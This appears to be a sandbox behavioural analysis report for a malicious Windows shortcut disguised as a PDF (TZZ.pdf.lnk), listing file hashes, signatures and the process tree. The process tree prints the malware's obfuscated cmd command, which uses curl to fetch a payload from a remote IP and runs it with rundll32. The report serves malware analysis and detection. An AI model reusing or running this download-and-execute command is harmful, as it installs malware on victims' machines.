Analysis
-
max time kernel
118s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
16-10-2023 16:11
Static task
static1
Behavioral task
behavioral1
Sample
Birdman/Birdman.dll
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
Birdman/Birdman.dll
Resource
win10v2004-20230915-en
Behavioral task
behavioral3
Sample
Birdman/TZZ.pdf.lnk
Resource
win7-20230831-en
Behavioral task
behavioral4
Sample
Birdman/TZZ.pdf.lnk
Resource
win10v2004-20230915-en
General
-
Target
Birdman/TZZ.pdf.lnk
-
Size
1KB
-
MD5
54801c419cd1468e340604dd320223d8
-
SHA1
413c08277d29c965fb667a83af76d453004a15ed
-
SHA256
d57082ddb6cffaa1b6ad658bba6d79f958a7ea8afbd1f4e1ddfdddb4a7145961
-
SHA512
55a2e1d83e094c8b527ef782da54daa7863f4f17dc9213b1192359d550cbb6f7dd5cc24412ba3a72a7d405df9c2c58ba4d1f64cc640775bb82777840d0b8e6b7
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs ping.exe 1 TTPs 2 IoCs
pid Process 3008 PING.EXE 2680 PING.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2688 wrote to memory of 2696 2688 cmd.exe 29 PID 2688 wrote to memory of 2696 2688 cmd.exe 29 PID 2688 wrote to memory of 2696 2688 cmd.exe 29 PID 2696 wrote to memory of 2680 2696 cmd.exe 30 PID 2696 wrote to memory of 2680 2696 cmd.exe 30 PID 2696 wrote to memory of 2680 2696 cmd.exe 30 PID 2696 wrote to memory of 3008 2696 cmd.exe 31 PID 2696 wrote to memory of 3008 2696 cmd.exe 31 PID 2696 wrote to memory of 3008 2696 cmd.exe 31 PID 2696 wrote to memory of 2664 2696 cmd.exe 32 PID 2696 wrote to memory of 2664 2696 cmd.exe 32 PID 2696 wrote to memory of 2664 2696 cmd.exe 32
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Birdman\TZZ.pdf.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c UL || EChO UL & p"iN"G UL || C"U"R"L" h"ttp":"//"2"07.2"46".7"8."68/6"k"Q"h"/T"7t -o C:\Users\Admin\AppData\Local\Temp\UL.log & p"iN"G -n 3 UL || RUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var & E"Xi"T 'qsCViPhzqU2⤵
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Windows\system32\PING.EXEp"iN"G UL3⤵
- Runs ping.exe
PID:2680
-
-
C:\Windows\system32\PING.EXEp"iN"G -n 3 UL3⤵
- Runs ping.exe
PID:3008
-
-
C:\Windows\system32\rundll32.exeRUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var3⤵PID:2664
-
-